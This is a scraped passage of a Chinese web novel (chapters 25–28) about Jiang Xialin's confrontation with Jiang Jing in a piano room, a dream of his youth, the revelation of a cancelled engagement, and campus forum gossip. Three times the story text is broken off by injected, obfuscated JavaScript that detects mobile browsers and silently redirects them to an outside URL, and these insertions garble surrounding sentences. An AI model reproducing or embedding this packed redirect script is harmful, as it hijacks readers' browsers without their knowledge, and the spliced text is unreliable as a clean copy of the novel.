他等了片刻，直到她身体颤抖的弧度减缓了一点，才慢条斯理地向前半步，锃亮的黑色鞋尖悬停在她散开的裙摆之上，投下一小片压迫的阴影。 “……演够了？”他声音里的讥诮冰冷而稳定，目光却像探针，一丝不苟地刮过她惨白汗湿的脸、痉挛的手指，“一次不够，还想再来第二次？姜夏琳，你能不能换点把戏？” 姜夏琳掀起眼帘，视线已经有些涣散，焦距几次挣扎才勉强聚拢在他下眼下还在流血的疤痕上。 剧痛不断消耗着她本就因紧张的氛围而无比紧绷的意志，却也让她思绪变得极为冰冷和锐利。 她没有哀求，反而扯出一抹嘲讽的笑。 “……江竞，”声音气若游丝，像从破碎的胸腔里挤出来，“你这么厌恶我……把赵家垮台……算在我头上……” 她喘息，等待又一波碾过的痛楚稍歇，舌尖抵着齿关，继续将字句挤出。 “……是因为，你真的相信……我有这个本事，”她盯着他，瞳孔深处映出他紧绷的下颌线，“还是因为……你只能对着我发泄……你不敢承认，自己从头到尾……都被赵绍辉那个废物……摆了一道的事实？” 闻言，江竞撑在钢琴边沿的手，指关节猛然绷紧，泛出青白色。 “……你说什么。” 他声音陡然沉了下去，裹挟着冷意。方才的玩味的讥诮消失了，某种更浓重的东西在他眼底凝聚。 姜夏琳知道，她刺中了。 钟管家在不久前给她发来的大量冗长简报，还有陆临川偶尔提及的只言片语，在她因疼痛而异常清晰的大脑里拼凑出模糊的图景。 她不需要全貌，只需要一个足够锋利、足够让他动摇的切入点。 “瑞丰区……B-7地块……”她断断续续地说，每个字都消耗巨大，却异常清晰，“你跟进大半年……动用江家资源……最后，陆临川用低于市价两成的价格……拿走了，对吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051710|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江竞的呼吸几不可察地一滞。 “你以为……是赵家突然倒台，陆家趁乱……捡了便宜？”姜夏琳扯了扯嘴角，那弧度虚弱却带着残忍的洞悉，“江竞……你太高估自己……也太低估了……赵家的贪婪和……陆临川的手段。” 她缓了口气，积聚着即将溃散的神智，目光执拗地锁住他阴沉得要滴水的脸。 “赵家早就烂透了……急着最后捞一笔跑路。放出考虑江家的风声……不过是为了抬陆家的价。你们精心准备的方案……从报价到细节……”她顿了顿，感受着心脏因剧痛和某种近乎自毁的快意而狂跳，“在正式递交前……恐怕就已经……躺在陆临川的桌上了。” “你从头到尾……都没坐上牌桌。”她声音越来越轻，却字字如冰锥，钉入他骤然收缩的瞳孔，“你只是……被他们当成刺激对手的……垫脚石，一块……用完即弃的……石头。” “……所以……你没有输……也不需要用威胁我来发泄。” “闭嘴！” 江竞猛地低吼，握着手机的手背上骤然绷出无数道青筋。 他胸膛剧烈起伏，脸颊上那道新裂的伤痕因极度紧绷的肌肉而显得愈发狰狞，血珠缓缓蜿蜒而下。 那双总是带着促狭和讥诮的眼睛里，翻涌着被彻底戳破的愤怒，以及一丝连他可能自己都未曾察觉的狼狈之意思。 姜夏琳在他失控的怒吼中瑟缩了一下，生理性的泪水混着冷汗滑落。 她知道差不多了。真相的碎片已经抛出，足够割伤他，也耗尽了她最后的筹码和力气。 她知道方才一连串的行为和话语，她都不该说出口……但她只是难以抑制。 在与姜夏琳这个身份绑定之后，她几乎没有按自己想法活动的权力。她只是，想要发泄一回。 哪怕惩罚是痛苦的。 视野开始彻底模糊，黑暗从边缘蚕食而来。在意识被彻底吞没的前一瞬，她用尽最后一丝清明，看向他那张因暴怒而扭曲、却依旧英俊得具有攻击性的脸，唇瓣几不可察地动了动。 “……江竞。” 声音轻得像羽毛落地。 “……不要靠近我。” 她疲惫地与对方划清界限，下一刻，脑中那根强撑的弦，终于彻底崩断。 她头一歪，意识沉入无边黑暗，身体像失去所有支撑般，软软地瘫倒在地毯上。 琴房陷入死寂。 江竞僵在原地，手机还捏在掌心，录制的红点悄无声息地亮着。 他死死盯着地上毫无声息的姜夏琳，看着她惨白如纸的脸、被汗水浸湿的凌乱黑发，还有微微敞开的领口下，渐渐变得平缓和脆弱的呼吸线条。 “……” 他喉结滚动了一下，拧眉看着眼前的景象，脑中不知在思考什么。 方才那些尖利的话语，猝不及防地刺破了他满腔报复的戾气，露出底下某些被长久忽略的、粘稠而复杂的空洞。 迟疑只持续了极为短暂的一秒。 下一刻，他猝然反应过来，脸上暴怒的线条骤然绷紧，被一种仓促的惊疑取代。 他猛地踢开碍事的琴凳，一个箭步冲上前，单膝重重跪地，冰凉的手指带着自己都未察觉的颤抖，迅速探向姜夏琳的鼻息和颈侧。 触手一片冰凉，脉搏微弱得几乎感知不到。 “姜夏琳？！” 他低吼，声音里是无法掩饰的恐惧和紧绷。 几乎就在同时—— 砰！ 琴房厚重的雕花木门被人从外面猛地推开，撞在墙壁上，发出沉闷的巨响。 走廊明亮的光线混杂着宴会的喧闹乐声，一股脑地涌了进来，瞬间撕破了室内的昏暗与死寂。 一连串脚步声急促地踏入，伴随着倒吸凉气的声音。 26. 梦境 痛感先是以纯粹的黑暗降临，吞噬所有感知，尔后在识海深处炸开一片扭曲而绚烂的光晕 世界在失重中旋转，姜夏琳感觉自己被抛入一条没有尽头的甬道，不知漂浮了多久，脚下才终于触及一片柔软的实体。 视野被白光粗暴地洗刷，短暂失明后，一切才如浸水的画纸，缓缓显出形来。 姜夏琳发现自己站在一片缓坡上。 坡面铺展着修剪得一丝不苟的翠绿草坪，几丛不应季的淡紫色绣球花在坡底盛开。稍远处，欧式花架上蔷薇开得正浓，下方悬着一架原木与黑色铁链制成的秋千。 她左右看了看，突然怔住—— 这不是姜家别墅后院的花园吗？ 可眼前的景象又与记忆中微妙地不同。灌木似乎变矮了几分，那株她偶尔会倚着发呆的老银杏，枝桠更是显得细弱而鲜嫩。 整个院子里一片寂静，了无人际。 姜夏琳这才发觉自己手中握着一本书。硬壳精装，烫金的英文标题在阳光下反射出细碎光芒，书页边缘有些磨损，像是被反复翻阅过。 她似乎是在这里看书时睡着了。 可她似乎记得，闭上眼睛前最后的画面，是系统尖锐的电子蜂鸣，还有琴房里冰冷的大理石地板…… 大脑昏沉，像浸在粘稠的浆糊里，难以调动思绪。 姜夏琳很快放弃了回忆，将书夹在臂弯，试探着向坡下走去。 在别墅二楼阳台眺望时不觉得，亲身往下走，才感到这缓坡的坡度远比想象中陡。 她不得不微微屈身，一手扶着旁侧的草皮，脚步谨慎地挪动。 坡底种着一排茂密的黄杨绿篱，修剪成整齐的小方块，足有一人多高，像一道墨绿色的墙。 她正想将步伐转向一旁的鹅卵石小径，脚下却突然踩到一块松动的草皮—— 身体失衡的瞬间，姜夏琳下意识伸手想抓住什么。 但指尖只扯到几片草叶，整个人就已经不受控制地向前扑倒，径直栽向那片坚实的绿墙。 预想中撞击硬土的疼痛并未传来。 她跌进了一个怀抱。 带着少年人单薄的体温，以及衣物浆洗后淡淡的皂角气息。 冲击的力道让两人一同向后倒去，狼狈地滚过绿篱丛，又从另一侧滚出，最终跌落在草坪中央。 姜夏琳的书脱手飞出，落在几步外的草丛，梳好的长发也被枝条勾散，发丝凌乱地贴在脸颊边。 她很快意识到身下的触感并非草地，于是慌忙撑起身体。 “对、对不起……”她仓促地道歉，话音未落，便愣在原地。 被她压在身下的那人，身上穿着印有未来高中标志的白色短袖校服，衣服上赫然被尖锐的枝桠划开了好几道裂口。 裸露在袖子外的手臂上也横着几道新鲜的血痕，细小的血珠正缓缓渗出来，在对方白得近乎透明的皮肤上格外刺目。 显然，方才绿篱所有的攻击性，都被这个人挡下了。 “……你、你还好吗？”姜夏琳蹲下身，伸出手，想去扶他。 那人蜷在地上，脸偏向另一侧，单薄的肩胛骨在阔形的布料下明显地凸起，好一会儿都没有反应，在她的指尖即将触到他手臂时，才忽然自己动了。 他用肘部撑地，有些吃力地站了起来。 动作间，姜夏琳终于看清了他的脸。 江竞。 却不是她在未来大学遇到的那个，浑身透着阴沉和压迫感的江竞。 眼前的江竞明显还是个未发育完全的少年，脸颊上带着几分未褪的婴儿肥，肤色是一种久未见光的、釉质的冷白。身量虽已抽高，骨架却明显单薄，制服穿在身上显得有些空荡，露出的手腕纤细到近乎瘦削。 他站起来时，仍比姜夏琳高出快一个头，但那高度里没有日后那种沉甸甸的威慑，只余少年人特有的、略显笨拙的瘦长。 他抬起眼，目光与姜夏琳相撞时飞快地眨了下，然后迅速移开。 好一会儿，他都没有说话，只是抿紧了唇，抬手随意抹了下手臂上渗出的血珠。 姜夏琳有些愣怔，伸出的指尖悬在半空。 她看到阳光透过少年细软的黑发，在他苍白的脸上投下浅淡的阴影。 他垂着眼，目光左右飘忽了片刻，最终轻轻落在她右手小臂内侧的肌肤上。 “你……”他开口，声音带着几分笨拙的干涩，“这里……痛不痛？” 痛？ 姜夏琳顺着他的视线低头，这才发现自己小臂内侧不知何时被枝条划出了一道浅浅的痕迹。 伤口极细，只是微微皮，在阳光下几乎看不真切。 “没事。”她摇头，目光落回他手臂上那几道仍在渗血的伤口，“你……伤得比较重。” 似乎没料到她会这样回应，江竞顿了一下，那双尚未被阴郁浸透的眼睛里，极快地掠过一丝光亮。 他看着她，嘴唇动了动，似乎有很多话拥堵在喉咙口，可刚想要说出，便被别墅方向突然传来的吵闹声打断。 连通花园的厚重落地门被人推开。 一群衣着考究、端着香槟杯的男男女女，簇拥着走上挑高的阳台。几乎是立刻，他们的目光就如探照灯般锁定了草坪中央的两人。 “咦？那不是夏琳吗？她旁边那个是……江家的少爷？他怎么在这儿？” “什么少爷？江家都破产清算了，听说资产全被冻结，欠了一屁股债，现在叫姓江的叫花子还差不多！” “就是，听说他爹妈都卷铺盖躲到国外去了，把他一个人丢在这儿……保安怎么回事？姜家的花园也是这种人能随便溜进来的？” 议论声并不压低，顺着风清晰地飘过来。 江竞的身体几不可察地绷紧了，本来稍稍有了几分血色的脸颊，又被猝然涌上的苍白所取代。 他下意识地缩了一下肩膀，又在下一刻强行将脊背挺直，只是下颌线绷得死紧，嘴唇抿成一条没有弧度的直线。 他重新看向姜夏琳，喉结滚动了一下，似乎下了什么极大的决心。 “姜……夏琳，”他还是第一次完整叫出她的名字，声音压得很低，语速却急切，“可以请你……等等我吗？” 姜夏琳眨了眨眼，不明所以地望着他。 “我家现在……”他顿了顿，那几个字像卡在喉咙里，最后只含糊带过，“是遇到了一些事。但不会一直这样的。” “所有问题，我都会解决。一定会。”少年尚显单薄的胸膛微微起伏，语气里带着一种近乎偏执的笃定，“所以——” 他深吸一口气，声音放得更轻，却因此显得愈发郑重。 “你稍微等等我，好吗？” 风吹过花园，扬起他额前细碎的黑发。远处阳台上的谈笑声依旧刺耳，可他只是看着她。 姜夏琳彻底怔住了。 ……这是什么剧情？ 眼前这苍白单薄的少年，与她印象中那个阴鸷又危险的江竞，根本判若两人。 一种诡异的割裂感攫住了她，仿佛时间在此处错位，将两个截然不同的灵魂碎片强行拼凑在了一起。 见两人依旧站在一起，甚至还在对话，别墅方向传来的呼唤声愈发急促： “夏琳！快过来！” “离他远点儿，乖孩子！” “江家名声早就臭了，你别被他这副样子骗了！” 那些声音像利箭一样射过来，一下下打碎少年摇摇欲坠的尊严。 姜夏琳看着眼前沉默等待回应的江竞，脑中一片纷乱。 她尝试着张了张口。没有预想中尖锐的电子蜂鸣，系统S001似乎并未入侵到这片寂静的花园。 这认知让她稍微松了口气，却也更加茫然。 “……我没法答应你。” 话音落下的瞬间，江竞瘦削的肩膀明显绷紧了。 “因为我也不知道明天会发生什么。”她的声音很轻，却很清晰，像在说给他听，也像在说给自己听，“不知道你会遇到什么，也不知道什么东西会找上我。” “所以，我没法不负责任地给你一个等待的承诺。”她抬起眼，望进他渐次暗沉下去的瞳孔，“那太轻率了，对你，对我，都不公平。” 江竞眼底最后那点微弱的光，似乎被这话彻底扑灭了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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来不及细细琢磨这个念头，身旁便传来一阵克制的骚动。 “——姜小姐醒了！” 一个压低的女声响起，带着明显的如释重负。 周围立刻响起了压低的脚步声，有人快步走出房间去通报，有人轻手轻脚地靠近床边查看输液瓶的余量，还有人打好温水递上来。 姜夏琳的视线彻底从模糊中聚焦，掠过这些穿着统一制服、面容陌生的佣人，最终定格在伫立于床尾的那道身影上。 钟管家穿着一身深灰色的套装，头发一丝不苟地绾在脑后，那张总是表情克制的脸上，此刻眉心紧蹙，目光透出几分罕见的忧虑。 “钟姨……”姜夏琳开口，声音沙哑得像被砂纸反复打磨过，喉咙干涩发痛。 她挣扎着想撑起身，立刻有佣人上前，将枕头垫高，扶着她半坐起来。 钟管家立刻来到她身边，将温水递到她唇边。 她却没心思喝，发凉的指尖轻轻抓住对方的袖口：“……钟姨，我们以前……和江家，是不是有过什么……约定？” 话音落下，钟管家握着玻璃杯的手指微微颤动了下。 她默然打量着姜夏琳，半晌，才拧了拧眉，缓声问道：“大小姐……你都不记得了吗？” 她停顿，目光落在她因插着输液而略显苍白的手背上，又移回她满是茫然的双眼。 “当年江家出事前，两家确实有过婚约。” “是你……亲自要求取消的。” 空气仿佛凝固了。 输液管里的药液，还在不知疲倦地滴落。滴答。滴答。 姜夏琳抓着她袖口的手指，无意识地松开了，垂落回柔软的丝绒被面上。 她望着钟管家，瞳孔在那一瞬间微微放大，茫然之色尚未褪去，又被一层更深的震惊所覆盖。 婚约？ 她和江竞？ ……还是她，主动取消的？ 27. 别院 “我……”姜夏琳张了张嘴，却发现喉咙比刚才更干，只发出一个音节，声音就被卡在胸口。 她接过钟管家递来的水杯。 温水润过喉管，带来片刻舒缓，却冲不散盘踞在脑海里的画面—— 少年江竞单薄的肩膀，渗血的伤口，还有那双在旁人的奚落声中死死望过来的、带着执拗的双眼。 “江家少爷私底下来家里找过你好几次，”钟管家候在一旁，声音平缓地续上回忆的线索，“不过只有第一次小姐你见了他，后来……你都没给他开过门，再后来，你就跟老爷提出要解除婚约了。” “是我要求取消的……”她喃喃重复，每个字都像从齿缝间硬挤出来，沙哑得自己都陌生，“为什么？” 钟管家沉默了片刻，保养得宜的面容在室内暖光下透出些微的斟酌之色。 “具体缘由，我不是很清楚。”她回答得十分谨慎，“那时您刚升入高中不久，有一天，似乎学校里的同学提到这件事让您不是很愉快。您从学校回来，情绪很不好，将自己关在房间里很久。后来，您就向老爷夫人正式提出，要解除和江家的婚约。” 高中……刚升入高中不久…… 梦境里那个穿着未来高中制服、脸颊还残留着未褪婴儿肥的江竞，和眼前钟管家所述的时间点严丝合缝地对上了。 想必，是她的意识从那个剑拔弩张的花园抽离后，那位完美的大小姐重新掌控了这具身体，也顺手斩断了和落魄少年的仅剩连接。 也是，当时的江家声名狼藉，连踏进姜家花园都会被宾客嗤笑为“叫花子”，又怎么配继续做姜家大小姐名义上的未婚夫？ “不过当时江家欠了很多钱，名声很差，小姐您和他们有婚约确实不合适，所以老爷很利索地给您取消了婚约。” 方才离去的佣人们似乎完成了手头工作，又轻手轻脚地回到房间各处待命。 见状，钟管家声音压得极低，用只有两人能听到的声量补充：“不过，这都是好多年前的事了。江家后来举家迁往海外，老爷夫人看在过去的情分上帮扶了不少，现在江家也重新回国好长一段时间了，以前这些事大人们早就忘光了。这婚约本来也就是老爷和江家老爷年轻时的随口一句约定，没人当真，您不必为此困扰。” ……不必困扰？ 姜夏琳听见自己心底发出一声无言的、沉重的叹息。 原来如此。 怪不得江竞每次看她的眼神都冰冷又复杂，每一次靠近都一副要把她生吞活剥了的模样—— 原来在他最狼狈不堪、摇摇欲坠的少年时代，是她，或者说那位完美的姜夏琳，亲手将他最后那点尊严碾了个粉碎。 大人世界里一句轻飘飘的没人当真，却是少年赌上全部骄傲，近乎卑微的恳求。 而这份恳求，被她轻描淡写地扔进了垃圾堆。 “不过小姐，您感觉好些了吗？”钟管家看着她愈加苍白的脸色，语气染上真切的忧心，“您在邵小姐的生日宴上突然晕倒了，当时场面乱得很，大家都吓坏了。” “大家？”姜夏琳抬眸，指尖无意识摩挲着光滑的杯壁。 钟管家顿了顿，目光扫过她脸上茫然的神情：“在场的大家都知道您晕倒了，这事情都传到在国外的老爷夫人那儿了，您睡着的时候，他们打了好几通电话回来问您的情况呢。” 说来奇怪，不久前在琴房触发的惩罚，痛感几乎要将她的意识撕裂成两半，可一觉醒来这感觉已经消失得无影无踪。 她竟然又在这个危机四伏的世界里醒了过来。 “……没事了，”她思忖着，缓慢地摇摇头，“现在已经好了。”只是梦境给心口带来的那股被往事堵住的滞涩感，仍旧沉甸甸地压着。 “说起来，您一醒来就问这些……”钟管家观察着她的神色，试探着开口，“是因为您和江少爷之间，发生了什么吗？” 姜夏琳呼吸微凝。 “……什么意思？” “您晕倒后，现场很混乱，是江少爷送您来治疗的。”钟管家并未身处现场，只是回忆着众人给她的复述，语气里带着一丝不易察觉的复杂，“他当时的样子……很着急。” 没想到疑问这么快就有了解释，姜夏琳眼睫轻颤了一下。 “啊……”她低声应道，心中了然。想必是在江竞送她来看医生的过程中，无意间触碰到了他，然后就像之前在储藏室那次一样，系统的惩罚被中断了。 怪不得能醒过来。 ……可是，江竞会着急？ 那个在琴房里一副恨不得将她杀掉模样的江竞？ 她无法将这两幅画面拼在一起。 姜夏琳又举起水杯喝了一口，冰凉的液体滑入喉咙，让她混乱的思绪稍定。 她这才有余裕打量身处的环境——房间宽敞奢华，装潢是低调的深色系，家具线条冷硬，空气里弥漫着淡淡的消毒水气味，混合着一种陌生的、沉静的木质香。 这不像是她的卧室，也不像医院。 “钟姨，”她转向管家，声音恢复了基础的平稳，“这里是哪里？不像家里。” 钟管家像是才想起这桩要紧事，轻轻拍了下自己的脑袋：“您瞧我，光顾着说话，竟忘了跟您说明。这里是江家的别院。” “江家？”姜夏琳的心猛地一沉。 “是的。您晕倒后，江夫人第一时间赶了过来。江夫人出身医学世家，她亲自调度，请来了最好的医疗团队，坚持把您接到这里来照看，说这里的医疗设备和环境更利于您静养恢复。”钟管家解释道，“老爷夫人接到消息后，也同意了江家的安排。” 话音刚落，门外走廊传来沉稳而清晰的脚步声，由远及近。 紧接着，房门被礼貌地敲响几下，不等里面回应，便从外推开。 走进来的是一对中年夫妇，身后跟着几个和房间里佣人衣着一致的人。 中年夫妇中的男人穿着剪裁精良的深灰色西装，面容严肃，眼神锐利，周身散发着久居上位的威严感。他身侧的女人则保养得极好，一袭墨绿色旗袍，外搭羊绒披肩，气质温婉典雅，唯有眉眼间透出的干练和关切，显露出她并非寻常贵妇。 正是江竞的父母，江锋与文清仪。 姜夏琳试探地往他们身后看了看，好在，江竞并不在他们身后。 “姜小姐醒了？”文清仪率先开口，声音柔和，脚步轻快地走到床边，目光专业地在她脸上巡睃，“感觉怎么样？头还晕吗？有没有哪里不舒服？” 姜夏琳撑起身子，靠在床头，迅速调整好表情，挂上那副无懈可击的礼貌微笑：“谢谢夫人关心，我已经好多了。” 江锋站在原地，目光沉沉地看了她片刻，才缓慢开口：“……姜小姐，小竞行事冲动，让你受惊了。” 他停顿了一下，眉头拧紧，语气严厉，不像是客套：“我已经严厉训斥过他。” 文清仪在一旁适时接过话头，温声解释：“琴房里的事，我们了解过了，是个意外。你当时身体突然不适，小竞也是一时情急，有怠慢你的地方还请多担待。听说你最近经常身体不适，可以在这里静养几天，江家会确保你的安全和健康，会有最好的医疗团队全程待命。” “这些都已经跟你的父母沟通过了，他们都同意。”江锋最后说道，语气里带着几分熟悉的不容商量的意味，“这几天，你就好好在这里休息。需要什么，就告诉管家或者你文阿姨。” 他深邃的目光落在姜夏琳脸上，身子稍微向她歉了歉，诚意十足：“至于小竞……我会看着他，不会让他再乱来。” 江家二位长辈良好的态度把姜夏琳惊了一跳。 看来，他们确实已经完全忘记了她和江竞曾经那遭事，江竞……显然也没同他们说。 自己父母都已然同意，对方也承诺会看好江竞，且看这副严肃的模样，不像有假…… 姜夏琳垂下眼帘，避开江锋极具穿透力的视线，轻声应答道：“……谢谢叔叔、阿姨费心安排。” 她无法开口说“我不想呆在这里”，那不符合大小姐该有的礼节，更会引来不必要的猜疑和追问。 江锋和文清仪又停留了片刻，询问了几句身体状况，叮嘱她好好休息，便离开了房间。 连带着那成片的佣人，像是他们暗中给了什么指示，也跟着离开了房间。 房门关上后，姜夏琳转向钟管家，声音里透出淡淡的疲惫：“钟姨，我想一个人待一会儿。” “好的，小姐。我就在外间，您随时叫我。”钟管家体贴地应下，带着佣人们安静地退了出去。 房间终于彻底安静下来。 姜夏琳掀开被子下床，赤脚踩在柔软厚重的地毯上，走到窗边。 厚重的窗帘拉开一角，似乎是午后的阳光斜射进来，明媚得有些刺眼。 她在窗边的皮质单人沙发上找到自己的手包，拿出手机。屏幕亮起，时间显示已是第二天的下午。 她这才意识到，自己竟然昏睡了一整夜外加一个白天。 她所在的房间似乎在一间独栋别墅的二层，房间外带着一个小阳台，她拿着手机，又从衣柜里找了条薄厚合适的毯子，便一个人走了出去。 坐在阳台上的懒人沙发里，温暖的阳光很快把她的身体也照得暖洋洋的。 神智从刚醒时的恍惚变得愈发清醒，她解锁手机，在各种社交软件上逛了一圈，然后百无聊赖地点开了未来大学的校园论坛。 论坛里一如既往地热闹，今天这热闹似乎更多上几分，好几个带着“爆”的标签的帖子飘在顶部。 姜夏琳慢悠悠地将界面下滑，看清帖子的标题写着什么后，瞳孔骤然收缩。 论坛首页，几乎被同一个主题的相关帖子刷屏，热度标签一片飘红。 最顶端是一个直播帖的复盘整理，标题劲爆得像某些古早地摊小报： 【直播楼~邵家生日宴钢琴房惊现三角修罗场！钢琴房秘会？晕厥门？两男争一女？！】 帖子以匿名“现场目击者”的口吻，用极其煽动性的文字，详细直播了在邵晏舒生日宴上发生的一切： 【太刺激了家人们！楼主现在就在邵大小姐生日宴现场，二楼钢琴房刚刚上演了一出年度大戏，手都在抖，必须给你们文字直播！】 【现在所有人都聚在钢琴房门口，因为里面有个女生晕倒了。不知道大家认不认得，姜家的大小姐姜夏琳，开学时候因为颜值火过一阵那个。】 【但重点来了，房间里不止她一个人，有一个男生和她在一起！此男姓江，大家没猜错，就是江家那个很有名的小儿子，很高的那个。】 【他现在正抱着晕倒的女主角，脸色那叫一个难看，手都没撒开。俩人单独待在钢琴房，女生突然晕倒……这关系不用我多说了吧？】 【最新进展！陆临川陆会长来了，他直接进房间了，看样子是让江竞把人交出来……我靠，这什么情况？这到底是谁的女朋友？】 【俩人好像在交涉什么，听不见内容。江少爷还没松手，反而把女主角整个人抱起来了。看起来他没怎么抱过人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087484|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外套盖人脸上了，都要包成粽子了。】 【我靠，陆会长挡在门口没让路。】 【好了好了，BOSS登场了。江董他爹上来了，现在女主角和江竞都被送上江家的车带走了，楼主继续吃席了。】 【贵圈好乱啊，有没有知情人士爆料一下？】 发帖人的文字极具画面感和引导性，下面的评论直到现在都还在不断刷新： 【楼主……图呢……没图你说个啥呢……】 【没图也很精彩了！未来市有头有脸的小辈和长辈都快凑一桌麻将了，我靠，百年难遇的场面啊！】 【楼上别跑题啊，所以女主角到底是不是江竞的女朋友？他们俩躲琴房里干嘛呢？总不是真的在研究《小星星》四手联弹吧？[狗头]】 【我看是陆临川的女朋友吧，邵家生日宴总不归学生管吧，他搀和什么？就是陆会长现在脑袋上是不是有点绿啊？[吃瓜]】 【我最爱看三角恋了，尤其是顶配三角恋！表面是钢琴房晕厥门，实则是两男争一女！表面是江董控场，实则是岳父收拾烂摊子（不是）！好看爱看，求后续！】 【还有人记得这是邵小姐的生日宴吗……有没有人关心一下寿星……风头被抢得干干净净，蛋糕都没人记得切了吧？】 【寿星变司仪，最佳观戏位，这波生日宴值回票价了属于是。】 这个直播复帖就像投进深水区的炸弹，瞬间炸出了无数吃瓜贴和分析帖，好几个衍生的帖子都依次挂上了热帖标签： 【我好像多出了一段记忆，陆会长和姜小姐开学的时候不就被拍到过吗？谁还能找到那帖子！】 【投票贴-姜夏琳现在是不是江竞的女朋友？（8042人参与）】 有人甚至翻出江竞以前阴沉孤僻、不近女色的传闻，与直播帖里慌张的模样对比，凭空脑补出一场为爱失控的大戏。 姜夏琳机械般地一条条刷下去，指尖冰凉。 最初涌上的那种被围观、被曲解的冰冷愤怒，渐渐被一种更深的无言所取代。 舆论的漩涡一旦形成，便会自行补充所有逻辑缺环，编织出比事实更合理、也更刺激的故事。 事情被编得过于离谱，她看着那些活灵活现的细节描写，感觉就算她此刻想要站出去解释，也找不到一个可以下手的切入点。 她扯了扯唇角，一个近乎自嘲的弧度。 楼主的描述一定凭空夸大了不少，江竞怎么会因为她的晕倒而惊慌失措？他看她时，眼里只有冰封的恨意和嘲弄。 陆临川或许会出于责任挡在她身前，但也不至于到帖子里描述的、与江竞分毫不让的对峙模样。 她闭了闭眼，再睁开时，眼底那点微弱的波澜被压了下去。 ——不能任由它们发酵。 她重新解锁手机，不再去看那些添油加醋的猜测，转而点开论坛的举报页面，神色平静地、一个一个地对那些最离谱的衍生热帖点击举报。 在举报理由栏，她认真地键入：“内容不实，恶意捏造，侵犯个人隐私，扰乱论坛秩序。” 她想了想，重新打开手机，认真地给每个不实帖子点了举报，并细细填写了举报原因。 数量众多，她低着头，耐心地重复着这个动作，直到指尖微微发酸，眼眶也因长时间注视屏幕而泛起涩意。 完成这一切后，她将手机锁屏，紧紧攥在手心。 天际下，夕阳正缓缓沉入远山的轮廓，余晖挣扎着给江家别院优雅却极尽冷硬的建筑线条镀上一层金边。 光芒以肉眼可见的速度暗淡下去，建筑的阴影开始拉长，如同潜伏的巨兽。 姜夏琳转动着有些酸痛的脖颈，目光越过楼下精心修剪的花园，投向与身处的别院间隔甚远的主宅。 那栋建筑更为恢宏，沉稳地矗立在渐浓的暮色中，无声彰显着江家当前的底气和实力。 她想起钟管家的话，父母曾在江家困顿时施以援手，一丝极淡的庆幸掠过心头—— 好在有这么一点情分在，否则，以当年取消婚约时的那份干脆甚至冷漠的劲头，如今得势的江家，指不定会如何回报那份少年时承受的羞辱。 她的目光漫无目的地游移，忽然，定在了主宅三层某扇宽大的落地窗后。 那里，一道模糊的黑色身影，正静静地伫立在尚未亮灯的室内阴影中。 距离太远了，远到看不清任何五官细节，只有一个人形的、沉默的轮廓，面朝她所处的这栋别院小楼的方向。 但就在那一瞬间，一股毫无缘由的、强烈的直觉如冰针般刺入姜夏琳的后脊—— 是江竞。 他在看着她。 或许已经看了很久。 暮色四合，那道影子与身后房间的昏暗几乎融为一体，唯独存在本身，带着不容忽视的注视感，穿过花园，牢牢锁定着她所在的这个阳台。 姜夏琳的心脏猛地缩紧，又骤然松开，留下空荡荡的回响。 ……她还没想好，再次见到江竞时，该作何反应。 她顿了顿，垂下眼，不着痕迹地收回了目光。 随即，她搓了搓双臂，似乎因为太阳的离去感到寒冷，然后自然地起身，拉开阳台的玻璃门，重新踏入室内温暖的灯光下，再将落地窗的窗帘拉紧，彻底隔绝了外面渐起的晚风和那道遥远的视线。 她没有看到的是，就在她转身后几秒，主宅三楼那扇窗户后，模糊的身影也微微动了一下。 很快，如同溶入更深的黑暗一般，也悄然离开了窗边。 28. 花茶 江家聘请的医疗团队在入睡前又进行了一次巡查。 领头的医生穿着熨帖的白大褂，身后跟着几名助理，一群人安静地围在床边，进行了一系列姜夏琳叫不出名的检查。 仪器冰冷的触感、压低音量的专业术语交流，让房间弥漫着一股不属于私人宅邸的、过于严谨的气息。 最后，一位面容慈和的中年护士端来一只白瓷碗，深褐色的药汁在碗中轻微晃荡，散发出浓郁苦涩的气味。 “姜小姐，文夫人特意嘱咐的给您熬的药，对您恢复有好处。”护士声音轻柔，却径直把那碗苦汤递到了姜夏琳鼻子前。 姜夏琳接过碗，指尖被瓷器的温热熨帖着。 她垂下眼，盯着药汁表面倒映出的、自己略显模糊的脸。 被数道目光安静地注视着服药，是一种新奇而略带压迫的体验。 她小口啜饮，苦涩的滋味立刻在舌根蔓延开来，让她不自觉地蹙紧了眉，却只能忍耐着，将碗底最后一点也饮尽。 ——总不能对他们说，她四肢百骸的痛楚源于一个无形系统的惩罚，而一碗实体的汤药根本无济于事。 或许是心理作用，又或许是连日紧绷的神经终于抵达极限，那碗药下肚后，竟换来了一夜罕有的、深沉无梦的睡眠。 意识在柔软的黑暗里浮沉，没有任何光怪陆离的幻想。 次日姜夏琳醒来时，窗帘缝隙已透进大片明晃晃的天光。 上午的例行检查刚结束不久，房门被轻叩两声后推开，钟管家步履平稳地走进来，将一碟刚切好的水果放在床头柜上。 